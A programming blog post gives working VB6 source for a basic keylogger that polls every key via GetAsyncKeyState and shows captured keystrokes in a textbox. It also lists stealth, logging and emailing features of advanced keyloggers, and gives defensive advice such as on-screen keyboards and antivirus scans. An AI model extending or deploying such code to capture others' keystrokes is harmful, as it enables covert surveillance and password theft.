What is a Keylogger?
A keylogger app is used to record every keystrokes even though it is not in focus i.e., while running at background.
Here this code is coded using VB6 & Win32 API.
It can be used when your kids are operating the computer & you are much worried about what they are working on. Since this can be used for recording the passwords typed in your computer, You should also be aware of such apps & learn how to fight them.
Virtual Keyboards – On Screen Keyboards
It is always better to use the Virtual keyboards when you type Passwords.
If any website does not provide the Virtual keyboard, You can use Windows Default virtual keyboard. This can be invoked by typing OSK in Windows + Run command prompt. OSK means On Screen Keyboard.
Now, Lets move on to the Keylogger. How to code it.
VB6 Key Logger Code
Create a standard exe project in VB6. In the form, add a textbox & a timer.
Then copy paste the below code to your projects code window.Keylogger in vb6 - Sample codeVisual Basic1234567891011121314151617181920212223Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerDim iKeyState As Integer, iKeys As IntegerPrivate Sub Form_Load()'Enable Timer at Form LoadTimer1.Interval = 1Timer1.Enabled = TrueEnd SubPrivate Sub Timer1_Timer()'Loop thru All the KeysFor iKeys = 1 To 255iKeyState = 0iKeyState = GetAsyncKeyState(iKeys)'If Key is Pressed, Add it to TextBoxIf iKeyState = -32767 ThenText1.Text = Text1.Text + Chr(iKeys)End IfNext iEnd Sub
Now, if you execute this code a Form will appear with a Text box. Now, open a notepad & type any text in in.
You could see that whatever you type in Notepad is also captured in the Form’s Textbox.
Actual Key Logger
This app is just to show you how a basic Key-logger works. But an advanced keylogger can have these features in it.
- Run in stealth mode (sometimes does not even show in task manager)
- Stores the keystrokes in a Data or Text file.
- Emails it to the person who installed it in your machine.
So, don’t leave any suspicious apps in your machine. Scan it with proper Antivirus apps. Do not download any free app from not so authentic website.
Previous Post: Text To Speech Application – VB6 Voice Code
Next Post: Google Lens Project – That Understands Images Better than Before
World’s Simplest Key logger using VB6
- Games VCF Countif Record Macro Timer in Excel Task Manager print screen HTML Table Import Data Thumbnails Text to Speech TTS Candy Crush Block Apps in FaceBook C++ Programing Machine learning AI bulk email Excel VBA vba color index vba color codes Android social media Twitter Google+ Google Adsense Tips bitcoin Calendar in Excel Excel Macro outlook vba mass email Data Mining Facebook WhatsApp python Wordpress